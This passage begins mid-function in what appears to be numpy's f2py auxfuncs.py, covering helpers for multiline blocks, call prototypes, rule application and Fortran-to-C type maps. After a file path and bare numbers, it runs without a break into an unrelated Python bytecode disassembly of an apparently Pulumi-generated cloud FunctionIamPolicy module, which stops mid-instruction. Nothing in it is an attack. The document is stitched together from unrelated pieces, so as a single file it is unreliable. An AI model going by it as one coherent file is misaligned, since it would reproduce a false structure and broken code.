rout["f2pyenhancements"]["fortranname"] == "" except KeyError: return 0 def getfortranname(rout): try: name = rout["f2pyenhancements"]["fortranname"] if name == "": raise KeyError if not name: errmess("Failed to use fortranname from %s\n" % (rout["f2pyenhancements"])) raise KeyError except KeyError: name = rout["name"] return name def getmultilineblock(rout, blockname, comment=1, counter=0): try: r = rout["f2pyenhancements"].get(blockname) except KeyError: return if not r: return if counter > 0 and isinstance(r, str): return if isinstance(r, list): if counter >= len(r): return r = r[counter] if r[:3] == "'''": if comment: r = ( "\t/* start " + blockname + " multiline (" + repr(counter) + ") */\n" + r[3:] ) else: r = r[3:] if r[-3:] == "'''": if comment: r = r[:-3] + "\n\t/* end multiline (" + repr(counter) + ")*/" else: r = r[:-3] else: errmess( "%s multiline block should end with `'''`: %s\n" % (blockname, repr(r)) ) return r def getcallstatement(rout): return getmultilineblock(rout, "callstatement") def getcallprotoargument(rout, cb_map={}): r = getmultilineblock(rout, "callprotoargument", comment=0) if r: return r if hascallstatement(rout): outmess("warning: callstatement is defined without callprotoargument\n") return from .capi_maps import getctype arg_types, arg_types2 = [], [] if l_and(isstringfunction, l_not(isfunction_wrap))(rout): arg_types.extend(["char*", "size_t"]) for n in rout["args"]: var = rout["vars"][n] if isintent_callback(var): continue if n in cb_map: ctype = cb_map[n] + "_typedef" else: ctype = getctype(var) if l_and(isintent_c, l_or(isscalar, iscomplex))(var): pass elif isstring(var): pass else: if not isattr_value(var): ctype = ctype + "*" if ( isstring(var) or isarrayofstrings(var) # obsolete? or isstringarray(var) ): arg_types2.append("size_t") arg_types.append(ctype) proto_args = ",".join(arg_types + arg_types2) if not proto_args: proto_args = "void" return proto_args def getusercode(rout): return getmultilineblock(rout, "usercode") def getusercode1(rout): return getmultilineblock(rout, "usercode", counter=1) def getpymethoddef(rout): return getmultilineblock(rout, "pymethoddef") def getargs(rout): sortargs, args = [], [] if "args" in rout: args = rout["args"] if "sortvars" in rout: for a in rout["sortvars"]: if a in args: sortargs.append(a) for a in args: if a not in sortargs: sortargs.append(a) else: sortargs = rout["args"] return args, sortargs def getargs2(rout): sortargs, args = [], rout.get("args", []) auxvars = [ a for a in rout["vars"].keys() if isintent_aux(rout["vars"][a]) and a not in args ] args = auxvars + args if "sortvars" in rout: for a in rout["sortvars"]: if a in args: sortargs.append(a) for a in args: if a not in sortargs: sortargs.append(a) else: sortargs = auxvars + rout["args"] return args, sortargs def getrestdoc(rout): if "f2pymultilines" not in rout: return None k = None if rout["block"] == "python module": k = rout["block"], rout["name"] return rout["f2pymultilines"].get(k, None) def gentitle(name): ln = (80 - len(name) - 6) // 2 return "/*%s %s %s*/" % (ln * "*", name, ln * "*") def flatlist(lst): if isinstance(lst, list): return reduce(lambda x, y, f=flatlist: x + f(y), lst, []) return [lst] def stripcomma(s): if s and s[-1] == ",": return s[:-1] return s def replace(str, d, defaultsep=""): if isinstance(d, list): return [replace(str, _m, defaultsep) for _m in d] if isinstance(str, list): return [replace(_m, d, defaultsep) for _m in str] for k in 2 * list(d.keys()): if k == "separatorsfor": continue if "separatorsfor" in d and k in d["separatorsfor"]: sep = d["separatorsfor"][k] else: sep = defaultsep if isinstance(d[k], list): str = str.replace("#%s#" % (k), sep.join(flatlist(d[k]))) else: str = str.replace("#%s#" % (k), d[k]) return str def dictappend(rd, ar): if isinstance(ar, list): for a in ar: rd = dictappend(rd, a) return rd for k in ar.keys(): if k[0] == "_": continue if k in rd: if isinstance(rd[k], str): rd[k] = [rd[k]] if isinstance(rd[k], list): if isinstance(ar[k], list): rd[k] = rd[k] + ar[k] else: rd[k].append(ar[k]) elif isinstance(rd[k], dict): if isinstance(ar[k], dict): if k == "separatorsfor": for k1 in ar[k].keys(): if k1 not in rd[k]: rd[k][k1] = ar[k][k1] else: rd[k] = dictappend(rd[k], ar[k]) else: rd[k] = ar[k] return rd def applyrules(rules, d, var={}): ret = {} if isinstance(rules, list): for r in rules: rr = applyrules(r, d, var) ret = dictappend(ret, rr) if "_break" in rr: break return ret if "_check" in rules and (not rules["_check"](var)): return ret if "need" in rules: res = applyrules({"needs": rules["need"]}, d, var) if "needs" in res: cfuncs.append_needs(res["needs"]) for k in rules.keys(): if k == "separatorsfor": ret[k] = rules[k] continue if isinstance(rules[k], str): ret[k] = replace(rules[k], d) elif isinstance(rules[k], list): ret[k] = [] for i in rules[k]: ar = applyrules({k: i}, d, var) if k in ar: ret[k].append(ar[k]) elif k[0] == "_": continue elif isinstance(rules[k], dict): ret[k] = [] for k1 in rules[k].keys(): if isinstance(k1, types.FunctionType) and k1(var): if isinstance(rules[k][k1], list): for i in rules[k][k1]: if isinstance(i, dict): res = applyrules({"supertext": i}, d, var) if "supertext" in res: i = res["supertext"] else: i = "" ret[k].append(replace(i, d)) else: i = rules[k][k1] if isinstance(i, dict): res = applyrules({"supertext": i}, d) if "supertext" in res: i = res["supertext"] else: i = "" ret[k].append(replace(i, d)) else: errmess("applyrules: ignoring rule %s.\n" % repr(rules[k])) if isinstance(ret[k], list): if len(ret[k]) == 1: ret[k] = ret[k][0] if ret[k] == []: del ret[k] return ret _f2py_module_name_match = re.compile( r"\s*python\s*module\s*(?P<name>[\w_]+)", re.I ).match _f2py_user_module_name_match = re.compile( r"\s*python\s*module\s*(?P<name>[\w_]*?" r"__user__[\w_]*)", re.I ).match def get_f2py_modulename(source): name = None with open(source) as f: for line in f: m = _f2py_module_name_match(line) if m: if _f2py_user_module_name_match(line): # skip *__user__* names continue name = m.group("name") break return name def getuseblocks(pymod): all_uses = [] for inner in pymod["body"]: for modblock in inner["body"]: if modblock.get("use"): all_uses.extend( [x for x in modblock.get("use").keys() if "__" not in x] ) return all_uses def process_f2cmap_dict(f2cmap_all, new_map, c2py_map, verbose=False): """ Update the Fortran-to-C type mapping dictionary with new mappings and return a list of successfully mapped C types. This function integrates a new mapping dictionary into an existing Fortran-to-C type mapping dictionary. It ensures that all keys are in lowercase and validates new entries against a given C-to-Python mapping dictionary. Redefinitions and invalid entries are reported with a warning. Parameters ---------- f2cmap_all : dict The existing Fortran-to-C type mapping dictionary that will be updated. It should be a dictionary of dictionaries where the main keys represent Fortran types and the nested dictionaries map Fortran type specifiers to corresponding C types. new_map : dict A dictionary containing new type mappings to be added to `f2cmap_all`. The structure should be similar to `f2cmap_all`, with keys representing Fortran types and values being dictionaries of type specifiers and their C type equivalents. c2py_map : dict A dictionary used for validating the C types in `new_map`. It maps C types to corresponding Python types and is used to ensure that the C types specified in `new_map` are valid. verbose : boolean A flag used to provide information about the types mapped Returns ------- tuple of (dict, list) The updated Fortran-to-C type mapping dictionary and a list of successfully mapped C types. """ f2cmap_mapped = [] new_map_lower = {} for k, d1 in new_map.items(): d1_lower = {k1.lower(): v1 for k1, v1 in d1.items()} new_map_lower[k.lower()] = d1_lower for k, d1 in new_map_lower.items(): if k not in f2cmap_all: f2cmap_all[k] = {} for k1, v1 in d1.items(): if v1 in c2py_map: if k1 in f2cmap_all[k]: outmess( "\tWarning: redefinition of {'%s':{'%s':'%s'->'%s'}}\n" % (k, k1, f2cmap_all[k][k1], v1) ) f2cmap_all[k][k1] = v1 if verbose: outmess('\tMapping "%s(kind=%s)" to "%s"\n' % (k, k1, v1)) f2cmap_mapped.append(v1) else: if verbose: errmess( "\tIgnoring map {'%s':{'%s':'%s'}}: '%s' must be in %s\n" % (k, k1, v1, v1, list(c2py_map.keys())) ) return f2cmap_all, f2cmap_mapped
data/numpy-1.26.4/numpy/f2py/auxfuncs.py
18,355
8,991
364,137
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi.runtime STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST ('Any', 'Mapping', 'Optional', 'Sequence', 'Union', 'overload') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Union STORE_NAME Union IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 2 LOAD_CONST ('_utilities',) IMPORT_NAME IMPORT_FROM _utilities STORE_NAME _utilities POP_TOP LOAD_CONST 'FunctionIamPolicyArgs' LOAD_CONST 'FunctionIamPolicy' BUILD_LIST STORE_NAME __all__ LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object FunctionIamPolicyArgs at 0x7faad43a08a0, file "f.py", line 11> LOAD_CONST 'FunctionIamPolicyArgs' MAKE_FUNCTION LOAD_CONST 'FunctionIamPolicyArgs' CALL_FUNCTION CALL_FUNCTION STORE_NAME FunctionIamPolicyArgs LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object _FunctionIamPolicyState at 0x7faa8c22ac90, file "f.py", line 112> LOAD_CONST '_FunctionIamPolicyState' MAKE_FUNCTION LOAD_CONST '_FunctionIamPolicyState' CALL_FUNCTION CALL_FUNCTION STORE_NAME _FunctionIamPolicyState LOAD_BUILD_CLASS LOAD_CONST <code object FunctionIamPolicy at 0x7faa8c22aed0, file "f.py", line 231> LOAD_CONST 'FunctionIamPolicy' MAKE_FUNCTION LOAD_CONST 'FunctionIamPolicy' LOAD_NAME pulumi LOAD_ATTR CustomResource CALL_FUNCTION STORE_NAME FunctionIamPolicy LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FunctionIamPolicyArgs' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST ('location', 'project') BUILD_CONST_KEY_MAP LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('cloud_function', 'policy_data', 'location', 'project') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faa761ee930, file "f.py", line 13> LOAD_CONST 'FunctionIamPolicyArgs.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'cloudFunction' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object cloud_function at 0x7faa761ee300, file "f.py", line 49> LOAD_CONST 'FunctionIamPolicyArgs.cloud_function' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME cloud_function LOAD_NAME cloud_function LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object cloud_function at 0x7faa761eee40, file "f.py", line 57> LOAD_CONST 'FunctionIamPolicyArgs.cloud_function' MAKE_FUNCTION CALL_FUNCTION STORE_NAME cloud_function LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'policyData' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faa761ee6f0, file "f.py", line 61> LOAD_CONST 'FunctionIamPolicyArgs.policy_data' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME policy_data LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faad43a0e40, file "f.py", line 70> LOAD_CONST 'FunctionIamPolicyArgs.policy_data' MAKE_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object location at 0x7faad43a0300, file "f.py", line 74> LOAD_CONST 'FunctionIamPolicyArgs.location' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME location LOAD_NAME location LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object location at 0x7faad43a0420, file "f.py", line 82> LOAD_CONST 'FunctionIamPolicyArgs.location' MAKE_FUNCTION CALL_FUNCTION STORE_NAME location LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faad43a0390, file "f.py", line 86> LOAD_CONST 'FunctionIamPolicyArgs.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME project LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faad43a0270, file "f.py", line 107> LOAD_CONST 'FunctionIamPolicyArgs.project' MAKE_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'cloud_function' LOAD_FAST cloud_function CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'policy_data' LOAD_FAST policy_data CALL_METHOD POP_TOP LOAD_FAST location LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'location' LOAD_FAST location CALL_METHOD POP_TOP LOAD_FAST project LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'project' LOAD_FAST project CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'cloud_function' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'cloud_function' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'policy_data' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'policy_data' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'location' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'location' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'project' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_FunctionIamPolicyState' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('cloud_function', 'etag', 'location', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('cloud_function', 'etag', 'location', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faad43a0030, file "f.py", line 114> LOAD_CONST '_FunctionIamPolicyState.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'cloudFunction' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object cloud_function at 0x7faad43a0b70, file "f.py", line 156> LOAD_CONST '_FunctionIamPolicyState.cloud_function' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME cloud_function LOAD_NAME cloud_function LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object cloud_function at 0x7faad43a09c0, file "f.py", line 164> LOAD_CONST '_FunctionIamPolicyState.cloud_function' MAKE_FUNCTION CALL_FUNCTION STORE_NAME cloud_function LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object etag at 0x7faad43a0ed0, file "f.py", line 168> LOAD_CONST '_FunctionIamPolicyState.etag' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME etag LOAD_NAME etag LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object etag at 0x7faad43a0a50, file "f.py", line 176> LOAD_CONST '_FunctionIamPolicyState.etag' MAKE_FUNCTION CALL_FUNCTION STORE_NAME etag LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object location at 0x7faad43a06f0, file "f.py", line 180> LOAD_CONST '_FunctionIamPolicyState.location' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME location LOAD_NAME location LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object location at 0x7faad43a0c00, file "f.py", line 188> LOAD_CONST '_FunctionIamPolicyState.location' MAKE_FUNCTION CALL_FUNCTION STORE_NAME location LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'policyData' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faad43a0db0, file "f.py", line 192> LOAD_CONST '_FunctionIamPolicyState.policy_data' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME policy_data LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faad43a0930, file "f.py", line 201> LOAD_CONST '_FunctionIamPolicyState.policy_data' MAKE_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faad43a0780, file "f.py", line 205> LOAD_CONST '_FunctionIamPolicyState.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME project LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faa8c22a300, file "f.py", line 226> LOAD_CONST '_FunctionIamPolicyState.project' MAKE_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_CONST None RETURN_VALUE LOAD_FAST cloud_function LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'cloud_function' LOAD_FAST cloud_function CALL_METHOD POP_TOP LOAD_FAST etag LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'etag' LOAD_FAST etag CALL_METHOD POP_TOP LOAD_FAST location LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'location' LOAD_FAST location CALL_METHOD POP_TOP LOAD_FAST policy_data LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'policy_data' LOAD_FAST policy_data CALL_METHOD POP_TOP LOAD_FAST project LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'project' LOAD_FAST project CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'cloud_function' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'cloud_function' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'etag' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'etag' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'location' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'location' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'policy_data' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'policy_data' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'project' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FunctionIamPolicy' STORE_NAME __qualname__ LOAD_NAME overload LOAD_CONST (None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'cloud_function', 'location', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faa8c22a1e0, file "f.py", line 232> LOAD_CONST 'FunctionIamPolicy.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME overload LOAD_CONST (None,) LOAD_NAME str LOAD_NAME FunctionIamPolicyArgs LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_CONST ('resource_name', 'args', 'opts') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faa8c22a420, file "f.py", line 360> LOAD_CONST 'FunctionIamPolicy.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME str LOAD_CONST ('resource_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faa8c22aa50, file "f.py", line 467> LOAD_CONST 'FunctionIamPolicy.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'cloud_function', 'location', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _internal_init at 0x7faa8c22a930, file "f.py", line 476> LOAD_CONST 'FunctionIamPolicy._internal_init' MAKE_FUNCTION STORE_NAME _internal_init LOAD_NAME staticmethod LOAD_CONST (None, None, None, None, None, None) LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 'FunctionIamPolicy' LOAD_CONST ('resource_name', 'id', 'opts', 'cloud_function', 'etag', 'location', 'policy_data', 'project', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7faa8c22adb0, file "f.py", line 516> LOAD_CONST 'FunctionIamPolicy.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'cloudFunction' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object cloud_function at 0x7faa8c22a780, file "f.py", line 565> LOAD_CONST 'FunctionIamPolicy.cloud_function' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME cloud_function LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object etag at 0x7faa8c22a030, file "f.py", line 573> LOAD_CONST 'FunctionIamPolicy.etag' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME etag LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) 